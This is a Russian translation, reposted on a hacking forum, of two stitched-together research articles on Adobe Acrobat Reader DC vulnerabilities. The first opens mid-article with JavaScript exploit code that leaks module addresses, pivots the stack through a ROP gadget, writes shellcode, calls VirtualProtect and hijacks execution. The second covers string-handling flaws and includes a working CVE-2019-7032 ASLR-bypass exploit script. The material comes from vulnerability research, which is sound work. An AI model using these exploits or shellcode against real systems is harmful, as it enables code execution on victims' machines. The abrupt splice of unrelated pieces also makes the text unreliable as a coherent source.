Целью этих распределений является наличие управляемой области памяти по адресу, по которому стек перемещается после выполнения разворота стека. Эту область можно использовать для подготовки вызова VirtualProtect ([http://web.archive.org/web/20210416...n32/api/memoryapi/nf-memoryapi- virtualprotect](http://web.archive.org/web/20210416140819/https://docs.microsoft.com/en- us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)) для включения разрешений на выполнение на странице памяти, где был написан шелл-код.
Подмена потока выполнения и выполнение произвольного кода
Имея возможность произвольно читать и писать в память, следующие шаги - подготовка шелл-кода, его запись и выполнение. Снижения безопасности, присутствующие в приложении, определяют необходимую стратегию и методы. ASLR и DEP форсируют использование возвратно-ориентированного программирования (ROP) в сочетании с утечкой указателей на соответствующие модули.
С учетом этого стратегия может быть следующей:
1. Получите указатели на соответствующие модули для вычисления их базовых адресов.
2. Переместите стек в область памяти под нашим контролем, куда можно записать адреса устройств ROP.
3. Запишите шелл-код.
4. Вызовите VirtualProtect, чтобы изменить права доступа к области памяти шеллкода, чтобы разрешить выполнение.
5. Перезаписать указатель функции, который можно будет вызвать позже из JavaScript.
Следующие функции используются при реализации указанной стратегии.
JavaScript:Copy to clipboard
[1]
function getAddressLeaks(rw) {
var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);
var escriptAddrDelta = 0x275518;
var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;
var kernel32BaseDelta = 0x273eb8;
var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);
return [escriptAddr, kernel32Addr];
}
[2]
function prepareNewStack(kernel32Addr) {
var virtualProtectStubDelta = 0x20420;
writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);
var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
0x00000000]
[3]
var shellcode_size = shellcode.length * 4;
writeUint32(rw, newStackAddr + 4 , startAddr);
writeUint32(rw, newStackAddr + 8, startAddr);
writeUint32(rw, newStackAddr + 0xc, shellcode_size);
writeUint32(rw, newStackAddr + 0x10, 0x40);
writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);
[4]
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, startAddr+i*4, shellcode[i]);
}
}
function hijackEIP(rw, escriptAddr) {
var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
var stackPivotGadgetAddr = 0x2de29 + escriptAddr;
writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);
var foo = rw.execFlowHijack;
В листинге кода выше функция [1] получает базовые адреса модулей EScript.api и kernel32.dll, которые необходимы для использования уязвимости с текущей стратегией. Функция [2] используется для подготовки содержимого перемещенного стека, так что после выполнения разворота стека все готово. В частности, в [3] записаны адрес шеллкода и параметры VirtualProtect. Адрес шелл-кода соответствует адресу возврата, который восстановит команда ret VirtualProtect, перенаправляя, таким образом, поток выполнения на шелл-код. Шелл-код записан в [4].
Наконец, в [5] указатель функции getProperty контролируемого объекта DataView перезаписывается адресом гаджета ROP, используемого для поворота стека, и осуществляется доступ к свойству объекта, которое запускает выполнение getProperty.
Используемый гаджет поворота стека взят из модуля EScript.api и указан ниже:
0x2382de29: mov esp, 0x5d0013c2; ret;
Когда выполняются перечисленные выше инструкции, стек будет перемещен в 0x5d0013c2, где будет ранее подготовленное распределение.
Заключение
Мы надеемся, что вам понравилось читать этот анализ переполнения буфера кучи и вы узнали что-то новое. Если вы жаждете большего, просмотрите другие сообщения в нашем блоге https://blog.exodusintel.com
Переведено специально для XSS.is
Автор перевода: yashechka
Источник: [https://blog.exodusintel.com/2021/1...w-vulnerability-in-adobe-
acrobat-reader-dc-2/](https://blog.exodusintel.com/2021/10/04/analysis-of-a-
heap-buffer-overflow-vulnerability-in-adobe-acrobat-reader-dc-2/)
1. Введение
В настоящее время почти трудно увидеть уязвимости, вызванные пораженными строками, не говоря уже о тех, которые можно эксплуатировать. Это неудивительно, потому что все небезопасные функции были запрещены SDL (Security Development Lifecycle) при разработке современного программного обеспечения. Тем не менее, по-прежнему возможно появление критических уязвимостей в системе безопасности, если разработчики неправильно используют функции повышенной безопасности.
В случае Adobe Acrobat Reader DC были реализованы некоторые функции обработки строк с улучшенной безопасностью, но разработчики использовали эти функции неправильно. В общих случаях это не имеет большого значения. Однако при работе со строками в этом специальном программном обеспечении также может быть легко инициировано условие смешения типов. Эти два условия можно использовать для выполнения кода в некоторых сценариях.
В этом документе некоторые уязвимости, связанные с обработкой строк, будут рассмотрены как можно более подробно, включая анализ первопричин, разработку эксплойтов и анализ патчей. Две из этих уязвимостей могут привести к раскрытию информации, еще две могут обеспечить выполнение кода напрямую.
Пожалуйста, не стесняйтесь обращаться к автору в Твиттере, если у вас есть какие-либо вопросы по этой статье.
2. Основные концепции
В этой главе объясняются некоторые основные понятия о типах строк, метке порядка байтов и функциях обработки строк. Пропустите этот раздел, если вы уже знакомы с ними.
2.1 Типы строк
В Windows строки можно разделить на две категории: строки ANSI и строки Unicode. Строка ANSI состоит из серии символов ANSI, в которой каждый символ закодирован как 8-битное значение. Строка Unicode состоит из серии символов Unicode. Windows представляет символы Unicode с использованием кодировки UTF-16, в которой каждый символ кодируется как 16-битное значение.
Символ терминатора для строк ANSI является - \ x00, а для строк Unicode -
x00\x00.
2.2 Метка порядка байтов
Если у символа есть несколько байтов данных, он может быть представлен в двух формах: little-endian и big-endian. Big-endian помещает наиболее значимый байт первым и наименее значимый байт последним, тогда как little-endian делает обратное.
1
Для строк UTF-16 порядок байтов можно указать в имени набора символов. Например, UTF-16LE указывает, что порядок байтов является little-endian, а UTF-16BE указывает, что порядок байтов является big-endian. Мы также можем использовать символ метки порядка байтов (BOM) U + FEFF, чтобы указать порядок байтов в строке. Порядок байтов самого символа спецификации указывает порядок байтов всей строки. Порядок байтов в строке может зависеть от платформы, если мы не указали его явно.
Обратите внимание, что символ спецификации всегда будет в начале строки. В другие места ставить бессмысленно.
**2.3 Функции обработки строк
2.3.1 Традиционные функции**
В следующей таблице показаны некоторые функции обработки строк, предоставляемые стандартной библиотекой времени выполнения C.
Эти функции очень удобны в использовании, но они также уязвимы для атак переполнения буфера.
2.3.2 Другая версия функций
В стандартной библиотеке времени выполнения C есть еще одна версия функций обработки строк. Буква n помещается в имена функций, чтобы отличать их от обычной версии функций.
Некоторые думают, что это версия традиционных функций с усиленной безопасностью. Например, strncpy более безопасен, чем strcpy , потому что его третий параметр может использоваться для указания количества символов, которые необходимо обработать.
C:Copy to clipboard
char *strncpy(char *destination, const char *source, size_t num);
В большинстве случаев это звучит разумно. Но она все еще уязвима при работе с некоторыми случаями. Символ NULL не будет добавлен в конец целевой строки, если длина исходной строки равна или больше, чем значение третьего параметра num. Это приведет к выходу за границы при обработке строк без символа терминатора.
Почему это могло произойти? Поскольку strncpy не была разработана как более безопасная версия strcpy.
strncpy изначально была введена в библиотеку C для работы с полями имен фиксированной длины в таких структурах, как записи каталога. Такие поля не используются так же, как строки: конечный ноль не нужен для поля максимальной длины, а установка конечных байтов для более коротких имен на нуль обеспечивает эффективные сравнения полей. strncpy по происхождению не является ограниченным strcpy , и комитет предпочел признать существующую практику, а не изменять функцию, чтобы она лучше соответствовала такому использованию.
2.3.3 Функции повышенной безопасности
Microsoft реализовала улучшенную версию функций обработки строк, имена которых заканчиваются суффиксом _s. В следующей таблице показаны традиционная версия и версия с повышенной безопасностью функций для копирования строк.
Давайте возьмем strcpy_s и strncpy_s в качестве примера, чтобы проиллюстрировать, как работает версия функций с повышенной безопасностью.
**errno_t strcpy_s(char *dest, rsize_t dest_size, const char *src);
errno_t strncpy_s(char dest, size_t dest_size, const char src, size_t
num);
При копировании содержимого в целевой буфер эти функции всегда обеспечивают возможность добавления завершающего нулевого символа. В противном случае операция завершится неудачно, и будет вызван обработчик недопустимого параметра. Не гарантируется, что версия функций обработки строк с повышенной безопасностью будет защищена при неправильном использовании. Например, даже функция strcpy_s может привести к переполнению буфера, если разработчики передают неправильное значение в качестве размера целевого буфера.
C:Copy to clipboard
char src[32] = { "0123456789abcdef" };
char dst[10] = { 0 };
strcpy_s(dst, 0x7FFF /*dst_size*/, src);
Здесь значение 0x7FFF намного больше, чем фактический размер целевого буфера. Такое использование убьет все функции безопасности. Функция будет работать как традиционная функция strcpy , что приведет к переполнению буфера.
Обратите внимание, что эти функции специфичны для Microsoft, что означает, что они доступны только в среде разработки Windows. Однако они могут быть доступны в некоторых последних версиях библиотеки C++.
3. Основные понятия Acrobat JavaScript
Прежде чем углубляться в детали уязвимостей, давайте узнаем некоторые базовые знания об Acrobat JavaScript, которые будут полезны для написания эксплойтов.
Adobe Acrobat Reader DC использует SpiderMonkey (может быть версия 24.2.0) в качестве движка JavaScript. Чтобы получить базовые знания о SpiderMonkey и методах отладки кода JavaScript, я рекомендую вам прочитать статью **
**. Прочтите раздел 2.1 - Представление в памяти достаточно, чтобы понять приемы эксплуатации, представленные в этой статье.
Прочтите приложение к этому документу, чтобы узнать, как выполнять код JavaScript в файлах PDF.
3.1 Объект JavaScript Acrobat
В этом разделе объект поля будет использоваться в качестве примера для объяснения некоторых ключевых структур объектов JavaScript Acrobat. Согласно документу JavaScript ™ for Acrobat® API Reference , мы можем вызвать Document.addField для создания объекта поля.
JavaScript:Copy to clipboard
// Document.addField(cName, cFieldType, nPageNum, oCoords);
var array = new Array();
array.push(0x40414140);
array.push(this.addField('f1', 'text', 0, [0, 0, 100, 20]));
Здесь мы создали объект текстового поля и поместили его в нижний левый угол первой страницы. Кроме того, мы создали объект массива и задали первому элементу специальное значение, которое будет использоваться для поиска объекта массива в памяти, и установили второй элемент ссылкой на вновь созданный объект поля.
3.1.1 Расположение объекта
Теперь мы можем искать значение 0x40414140 в памяти процесса и исследовать базовые структуры объекта поля. Для каждого объекта JavaScript Acrobat размер объекта всегда будет 0x48 байтов.
; search value 40414140 to locate the array object
0:019> s -d 0 l?7fffffff 40414140
34c8f5d8 40414140 ffffff81 34c29cb8 ffffff87 @AA@.......4....Click to expand...
; the SpiderMonkey JavaScript object associated with the field object
0:019> dd 34c29cb8 L8
34c29cb8 34cb9220 34c25be0 3291efc0 60c524f8
34c29cc8 29cf0fb8 00000000 34cb81f0 ffffff87
; the Acrobat JavaScript object
0:019> dd 29cf0fb8 L14
29cf0fb8 3492afc0 34c29cb8 00000000 3ecd4fb0
29cf0fc8 39477f80 00000000 00000000 00000000
29cf0fd8 446c2f80 00000000 00000000 00000000
29cf0fe8 00000000 5f679820 c0c0c000 00000000
29cf0ff8 00000000 00000000 ???????? ????????Click to expand...
3.1.2 Имя объекта
Член со смещением 0x0C указывает на строку имени объекта.
0:019> da 3ecd4fb0
3ecd4fb0 "Field"
3.1.3 Свойства объекта
Элемент со смещением 0x10 указывает на хэш-таблицу свойств объекта. Обратите внимание, что слово свойство относится к внутренним свойствам объекта JavaScript Acrobat, а не к свойствам объекта JavaScript SpiderMonkey. Размер хэш-таблицы всегда будет 0x80 байтов, первая половина хранит массивы, чтобы позаботиться о конфликтах имен, другая половина хранит соответствующие значения длины массивов. Размер каждого элемента массива составляет 8 байтов, первые 4 байта указывают на строку имени свойства, остальные 4 байта содержат значение свойства.
; the property hash table
0:019> dd 39477f80
39477f80 446baff8 00000000 00000000 30e8cff8
39477f90 39479ff8 00000000 00000000 00000000
39477fa0 00000000 3bcf3ff8 00000000 00000000
39477fb0 446feff0 00000000 00000000 00000000
39477fc0 00000001 00000000 00000000 00000001
39477fd0 00000001 00000000 00000000 00000000
39477fe0 00000000 00000001 00000000 00000000
39477ff0 00000002 00000000 00000000 00000000
0:019> dd 446baff8 L2
446baff8 446bcff0 00000000
; property name
0:019> da 446bcff0
446bcff0 "ESLocked"Click to expand...
Мы можем написать код сценария WinDbg для перечисления всех имен и значений свойств.
r $t10 = 39477f80; // hash table address
.for (r $t0 = 0; $t0 < 0x10; r $t0 = $t0 + 1) {
r $t1 = poi($t10 + $t0 * 4);
r $t2 = poi($t10 + 0x40 + $t0 * 4);
.for (r $t3 = 0; $t3 < $t2; r $t3 = $t3 + 1) {
.printf "%ma: %p\n", poi($t1 + $t3 * 8), poi($t1 + $t3 * 8 + 4);
}
}
// ESLocked: 00000000
// Field: 442fcfa0
// ESLockable: 00000001
// PDDoc: 1a464bd0
// Widget: 00000000
// inheritedDestructProc: 00000000Click to expand...
Вы могли заметить, что есть свойство, также называемое Field. В настоящее время нам нужно только знать, что для разных типов объектов поля Acrobat размер внутреннего объекта свойства Field будет разным.
0:019> dd 442fcfa0
442fcfa0 5fbd557c 43856fb0 c0000000 0000000b
442fcfb0 44300ff8 44300ffc 44300ffc 00000000
442fcfc0 39822fe8 00000000 00000000 00000000
442fcfd0 00000000 442fefe8 00000001 00000000
442fcfe0 5fbb49c0 00000000 00000000 ffffffff
442fcff0 00000000 00000000 00000000 00000000
442fd000 ???????? ???????? ???????? ????????
442fd010 ???????? ???????? ???????? ????????Click to expand...
Вы также могли заметить, что объекты JavaScript SpiderMonkey и объекты JavaScript Acrobat не имеют таблиц виртуальных функций. Но у внутреннего объекта свойства Field есть таблица виртуальных функций.
0:019> dds 5fbd557c
5fbd557c 5f497e40 AcroForm!hb_set_invert
5fbd5580 5f783bc0 AcroForm!DllUnregisterServer+0xd1980
5fbd5584 5f781990 AcroForm!DllUnregisterServer+0xcf750
5fbd5588 5f7a5360 AcroForm!DllUnregisterServer+0xf3120
5fbd558c 5f7a69b0 AcroForm!DllUnregisterServer+0xf4770
5fbd5590 5f494db0 AcroForm!PlugInMain+0x4aa0
5fbd5594 5f74b580 AcroForm!DllUnregisterServer+0x99340
5fbd5598 5f5279a0 AcroForm!hb_set_invert+0x8fb60
5fbd559c 5f4a2530 AcroForm!hb_set_invert+0xa6f0
......Click to expand...
3.1.4 Функции объекта
Член со смещением 0x20 указывает на хеш-таблицу функции объекта. Эта таблица работает точно так же, как хэш-таблица свойств. Мы можем повторно использовать сценарий WinDbg для извлечения имен и адресов функций.
signatureAddLTV: 631a9160
signatureSign: 631abae0
setLock: 631aa780
signatureSetSeedValue: 631aaae0
signatureGetSeedValue: 631aa130
signatureGetModifications: 631a98a0
getLock: 631a9380
signatureInfo: 631a9540signatureValidate: 631ac5d0Click to expand...
XFA (также известный как формы XFA) означает архитектуру XML-форм, которая может использоваться в файлах PDF. В этом разделе объясняются некоторые ключевые структуры объектов XFA. Подобно объектам Acrobat JavaScript, мы можем использовать тот же способ для исследования объектов XFA.
Согласно документу Adobe LiveCycle Designer 11 Scripting Reference , мы можем вызвать createNode для создания определенного объекта XFA.
JavaScript:Copy to clipboard
var array = new Array();
array.push(0x40414140);
array.push(xfa.datasets.createNode('dataValue', 'dvNode1'));
Во-первых, нам нужно выяснить расположение хэш-таблицы свойств.
0:019> s -d 0 l?7fffffff 40414140
391936e0 40414140 ffffff81 39129d80 ffffff87 @AA@.......9....
0:019> dd 39129d80 L8
39129d80 391b6628 39125bc0 59194f80 53c324f8
39129d90 59168fb8 00000000 391b48d0 ffffff87
0:019> dd 59168fb8 L14
59168fb8 38cd4fc0 39129d80 00000000 42e0cfb0
59168fc8 59170f80 59246f80 00000000 00000000
59168fd8 58fd8f80 00000000 53da9ee0 540c0000
59168fe8 00000000 53e302b0 c0c0c000 53da9be0
59168ff8 00000000 00000000 ???????? ????????Click to expand...
Затем мы можем перечислить все свойства объекта Acrobat JavaScript.
xfaappmodelimpl: 1963ae80
xfaobjectimpl: 59088fa0
inheritedDestructProc: 00000000Click to expand...
В отличие от обычных объектов JavaScript Acrobat, объекты XFA имеют два специальных свойства с именами xfaappmodelimpl и xfaobjectimpl , и последнее - это то, что нас интересует.
0:019> dd 59088fa0
59088fa0 54543064 00000001 00000000 546a5f88
59088fb0 00000057 c0c0c0c0 c0c0c0d2 00000000
59088fc0 00000000 00000000 58f5cfb0 c0c0c0c2
59088fd0 00000000 417f7ec8 00000000 00000000
59088fe0 00000000 58f64fb0 c0c0c0c7 00000000
59088ff0 00000000 00000000 00000000 d0d0d0d0
59089000 ???????? ???????? ???????? ????????
59089010 ???????? ???????? ???????? ????????Click to expand...
Для разных типов объектов XFA размер внутреннего объекта свойства xfaobjectimpl будет разным. И объекты xfaobjectimpl также имеют таблицы виртуальных функций.
0:019> dds 54543064
54543064 53e2fc10 AcroForm!hb_set_invert+0x147dd0
54543068 53d836d0 AcroForm!hb_set_invert+0x9b890
5454306c 54279590 AcroForm!DllUnregisterServer+0x377350
54543070 54247790 AcroForm!DllUnregisterServer+0x345550
54543074 542e5ec0 AcroForm!DllUnregisterServer+0x3e3c80
54543078 53d356e0 AcroForm!hb_set_invert+0x4d8a0
5454307c 53cff550 AcroForm!hb_set_invert+0x17710Click to expand...
3.3 Объект ArrayBuffer
Объекты ArrayBuffer играют важную роль при получении произвольных примитивов чтения и записи. Когда значение byteLength больше 0x68 , резервное хранилище объекта ArrayBuffer будет выделено из системной кучи (через ucrtbase!Calloc), в противном случае оно будет выделенно из постоянной кучи SpiderMonkey. Кроме того, при выделении из системной кучи нижележащий буфер кучи будет на 0x10 байт больше для хранения заголовка ObjectElements.
C++:Copy to clipboard
class ObjectElements {
public:
uint32_t flags; // can be any value, default is 0
uint32_t initializedLength; // byteLength
uint32_t capacity; // pointer of associated view object
uint32_t length; // can be any value, default is 0
// ......
};
Имена членов в ObjectElements не имеют смысла для ArrayBuffer. Здесь второй член содержит значение byteLength , а третий член содержит указатель на связанный объект DataView. Ценности других членов бессмысленны.
JavaScript:Copy to clipboard
var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x40414140, true);
После выполнения вышеуказанного кода JavaScript резервное хранилище объекта ArrayBuffer будет выглядеть следующим образом.
; search value 40414140 to locate the backing store
0:013> s -d 0 l?7fffffff 40414140
2281af90 40414140 00000000 00000000 00000000 @AA@............
30d63080 40414140 ffffff81 00000001 ffffff83 @AA@............
0:013> dd 2281af90 - 10 L90/4
; -, byteLength, viewobj, -,
2281af80 00000000 00000070 3538f5b0 00000000
; data
2281af90 40414140 00000000 00000000 00000000
2281afa0 00000000 00000000 00000000 00000000
2281afb0 00000000 00000000 00000000 00000000
2281afc0 00000000 00000000 00000000 00000000
2281afd0 00000000 00000000 00000000 00000000
2281afe0 00000000 00000000 00000000 00000000
2281aff0 00000000 00000000 00000000 00000000
2281b000 ???????? ???????? ???????? ????????Click to expand...
Если мы можем изменить значение члена byteLength объектов ArrayBuffer , тогда мы сможем получить доступ за пределы границ. Но будьте осторожны с указателем связанного объекта DataView , он может быть только 0 или действительным указателем DataView , процесс может немедленно завершиться с ошибкой, если мы изменим его на некоторые другие значения.
4. Анализ первопричин
В Adobe Acrobat Reader DC реализованы некоторые функции обработки строк с улучшенной безопасностью, которые можно идентифицировать путем поиска определенных строк. В следующей таблице приведены подробные сведения об этих функциях.
При обработке строк общие API проверяют тип строки и перенаправляют запрос соответствующей функции. Следующий код показывает, как работает функция strnlen_safe.
Здесь функция проверяет тип строки по первым двум байтам строки. Строка будет распознана как строка Unicode, если первый байт равен 0xFE, а второй - 0xFF , в противном случае она будет распознана как строка ANSI. Фактически, FE FF - это байты метки порядка байтов в формате с прямым порядком байтов.
Для срабатывания уязвимостей необходимы два условия.
1. При проверке типа строки может возникнуть путаница. Строку ANSI можно распознать как строку Unicode, если первые два байта - это FEFF. Это может привести к выходу за границы доступа, поскольку нулевой терминатор Unicode не может быть найден в строке ANSI.
2. Универсальные API используются разработчиками неправильно. В большинстве случаев размер целевого буфера будет установлен как 0x7FFFFFFF. Как обсуждалось ранее, это может привести к проблемам с безопасностью.
JavaScript:Copy to clipboard
// some examples extracted from EScript.api
strnlen_safe(a2, 0x7FFFFFFF, 0)
strnlen_safe(v15, 0x7FFFFFFF, 0)
strcpy_safe(v1, 0x7FFFFFFF, Str1, 0)
strcpy_safe(v12, 0x7FFFFFFF, &v34, 0)
strcat_safe(v25, 0x7FFFFFFF, "&cc:", 0)
strcat_safe(v25, 0x7FFFFFFF, "&bcc:", 0)
Используя эти два условия, мы можем добиться раскрытия информации или выполнения кода в некоторых сценариях.
**5. Примеры
5.1 CVE-2019-7032
5.1.1 Описание уязвимости**
CVE-2019-7032 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2019.010.20069 и более ранние версии и была установлена в 2019.010.20091 с помощью рекомендаций по безопасности APSB19-07.
Она использовался в Tianfu Cup 2018 с уязвимостью Use-After-Free для выполнения кода.
5.1.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
JavaScript:Copy to clipboard
// Tested on Adobe Acrobat Reader DC 2019.010.20069
var f = this.addField('f1', 'text', 0, [1, 2, 3, 4]);
f.userName = '\xFE\xFF';
Здесь мы создали объект text и присвоили фальшивую строку Unicode, которая на самом деле была строкой ANSI, свойству userName объекта. Фактически, мы можем использовать другие типы полевых объектов и другие свойства, чтобы вызвать уязвимость. В следующей таблице показаны 18 возможных комбинаций, вызывающих уязвимость. Основные причины этих сбоев одинаковы.
Произошел сбой процесса по адресу AcroForm!PlugInMain + 0xbbbcd из-за чтения за пределами допустимого диапазона.
(3c9c.14ac): Access violation - code c0000005 (!!! second chance !!!)
eax=4270efd0 ebx=4270efd0 ecx=00000000 edx=4270f000 esi=00000008 edi=7fffffff
eip=563c9539 esp=00d3c6b4 ebp=00d3c6c0 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
AcroForm!PlugInMain+0xbbbcd:
563c9539 8a02 mov al,byte ptr [edx] ds:002b:4270f000=??Click to expand...
Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrlen_safe.
0:000> db edx-10 L20
4270eff0 d4 32 aa 04 bb bb ba dc-fe ff 00 d0 d0 d0 d0 d0 .2..............
4270f000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????Click to expand...
Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
C:Copy to clipboard
unsigned int miUCSStrlen_safe(wchar_t *src, unsigned int max_bytes,
void *error_handler) {
unsigned int result;
wchar_t *str = src;
if ( src ) {
unsigned int bytes = 0;
if ( max_bytes ) {
do {
char ch = *(char *)str;
++str;
if ( !ch && !*((char *)str - 1) ) break; // check Unicode terminator
bytes += 2;
} while ( bytes < max_bytes );
}
if ( bytes == max_bytes ) {
void *handler = hb_set_invert;
if ( error_handler ) handler = error_handler;
handler(L"String greater than maxSize", L"miUCSStrlen_safe", 0, 0, 0);
result = max_bytes;
} else {
result = bytes;
}
} else {
void *handler = hb_set_invert;
if ( error_handler ) handler = error_handler;
handler(L"Bad parameter", L"miUCSStrlen_safe", 0, 0, 0);
result = 0;
}
return result;
}
Следующий код показывает информацию трассировки стека при сбое процесса. Здесь фрейм стека № 05 AcroForm!Hb_ot_tag_to_language + 0x6524b находился внутри функции установки свойства userName(sub_20A2AE95 в AcroForm.api).
0:000> k
ChildEBP RetAddr
00 00d3c6c0 56310259 AcroForm!PlugInMain+0xbbbcd
01 00d3c6d4 5652c799 AcroForm!PlugInMain+0x28ed
02 00d3c6f4 5652c975 AcroForm!DllUnregisterServer+0x21017
03 00d3c718 565c234f AcroForm!DllUnregisterServer+0x211f3
04 00d3c734 564eaf4b AcroForm!DllUnregisterServer+0xb6bcd
05 00d3c770 5930dbbc AcroForm!hb_ot_tag_to_language+0x6524b
06 00d3c7d8 5930da05 EScript!mozilla::HashBytes+0x2e3bfClick to expand...
5.1.3 Разработка эксплойтов
Уязвимость сработала во время присвоения полному объекту свойства userName. Важнейшей частью было то, что исходная строка будет скопирована во вновь созданный буфер кучи, который будет связан со свойством. Это означает, что мы можем прочитать просочившуюся информацию с помощью кода JavaScript. Следующий код показывает упрощенную модель уязвимости.
C:Copy to clipboard
// src <- field.userName <- "\xFE\xFF....."
// len <- number of bytes
size_t len = strnlen_safe(src, 0x7FFFFFFF, 0); // Out-Of-Bounds Read
char* dst = calloc(1, aligned_size(len + 4));
memcpy(dst, src, len); // Information Disclosure
dst[len] = dst[len + 1] = '\0';
// field.userName <- dst
Чтобы воспользоваться уязвимостью, нам просто нужно поместить объект с указателями виртуальных таблиц за буфер кучи. Как обсуждалось ранее, обычные объекты JavaScript не имеют указателей на виртуальные таблицы. Здесь мы выберем объект dataGroup XFA для использования уязвимости.
Code:Copy to clipboard
; dataGroup object
0:016> dd 4b762fb0
4b762fb0 571eb470 00000001 00000000 5734d308
4b762fc0 00000052 c0c0c0c0 c0c0c0d2 00000000
4b762fd0 00000000 00000000 4b75afb0 c0c0c0c2
4b762fe0 1f028ed0 00000000 00000000 00000000
4b762ff0 00000000 00000000 00000000 00000000
4b763000 ???????? ???????? ???????? ????????
0:016> ?571eb470 - acroform
Evaluate expression: 8500336 = 0081b470
Однако функцию Document.addField нельзя будет вызвать в режиме XFA. Если она был вызвана, будет показано исключение.
NotAllowedError: Security settings prevent access to this property or
method.
Doc.addField:25oc
undefined:Open
Это может быть решено путем статического определения объекта поля с помощью кода PDF. Следующий код определяет объект текстового поля с именем MyField1.
8 0 obj
<<
/Type /Annot /Subtype /Widget /FT /Tx /P 2 0 R
/T (MyField1) /H /N /F 6 /Ff 65536
/DA (/F1 12 Tf 1 1 1 rg) /Rect [10 600 11 700]
/V (The quick brown fox ate the lazy mouse)endobj
Click to expand...
Мы можем вызвать уязвимость в функции обратного вызова события инициализации основного тега подчиненной формы. Мы можем ссылаться на объект поля, вызвав event.target.getField ( 'MyField1'). Свойства объекта поля могут быть доступны только для чтения в функциях обратного вызова других событий или если отрисовка PDF-файла завершена.
В следующем коде показано, как использовалась уязвимость для обхода ASLR.
JavaScript:Copy to clipboard
function generateString(size) {
var string = '\xFE\xFF' + 'a'.repeat(size);
var flag = '\x40\x41\x41\x40'; // for debug purpose
return string.substr(0, size - flag.length - 1) + flag;
}
function swapBytes(value) {
return ((value % 0x100) << 8) | (value / 0x100);
}
function exploit() {
var field = event.target.getField('MyField1');
while (true) {
var objectSize = 0x50;
try {
var string = generateString(objectSize);
var array = new Array(0x1000);
for (var i = 0; i < array.length; ++i) {
array[i] = xfa.datasets.createNode('dataGroup', 'dataGroup');
}
for (var i = 0; i < array.length; i += 2) {
array[i] = null;
array[i] = undefined;
}
field.userName = string;
} catch(e) {}
try {
var high = field.userName.charCodeAt((objectSize + 8) / 2);
var low = field.userName.charCodeAt((objectSize + 8) / 2 - 1);
high = swapBytes(high);
low = swapBytes(low);
var addr = (high << 16) | low;
if ((addr & 0xFFFF) == 0xb470) {
addr = addr - 0x0081b470;
xfa.host.messageBox('AcroForm at 0x' + addr.toString(16));
return addr;
}
} catch(e) {}
}
}
exploit();
5.1.4 Анализ патча
Уязвимость исправлена в Adobe Acrobat Reader DC 2019.010.20091. Она было исправлено путем помещения 3 дополнительных байтов NULL (всего 4) в конец буфера кучи. Изменения были внесены в функцию sub_20A6CF79 в AcroForm.api.
C:Copy to clipboard
int __cdecl sub_20A6CF79(_DWORD *a1, int a2, int *a3, int a4) {
// --------------------------- cut ---------------------------
bytes = (dword_2134DC60 + 16)(a2, v4[1] + 2, v6 - 2, 0, 0, 0);
*a3 = bytes;
buffer = malloc(bytes + 4); // 4 extra bytes
if ( !buffer ) return 0;
(dword_2134DC60 + 16)(a2, v4[1] + 2, v4[2] - 2, buffer, *a3 + 4, a4);
v9 = ++*a3;
if ( v12 / 2 < *a3 ) {
v10 = sub_208532E4(buffer, v9 + 3);
v9 = *a3;
buffer = v10;
}
memset((void *)(buffer + v9 - 1), 0, 4u); // put 4 '\x00' at the end
return buffer;
}
Она сработает, как ожидалось, даже если строка ANSI обрабатывалась функцией miUCSStrlen_safe , поскольку всегда будет найден терминатор NULL.
0:000> g
Breakpoint 1 hit
eax=4c0daff8 ebx=4c0daff8 ecx=00000000 edx=0116ce84 esi=52a88fe8 edi=00000001
eip=773cac9c esp=0116ce34 ebp=0116ce44 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
AcroForm!PlugInMain+0xbd350:
773cac9c 55 push ebp
0:000> db poi(esp+4) L10
4c0daff8 fe ff 00 00 00 00 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? ........????????
0:000> !heap -p -a poi(esp+4)
address 4c0daff8 found in
_DPH_HEAP_ROOT @ 4b01000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
4fcb1d9c: 4c0daff8 6 - 4c0da000 2000
// ......
74afa9f6 ucrtbase!_malloc_base+0x00000026
7730e5cf AcroForm!PlugInMain+0x00000c83
7752cfcc AcroForm!DllUnregisterServer+0x0001f9ca ; sub_20A6CF79
7752e7f1 AcroForm!DllUnregisterServer+0x000211ef
775c4224 AcroForm!DllUnregisterServer+0x000b6c22
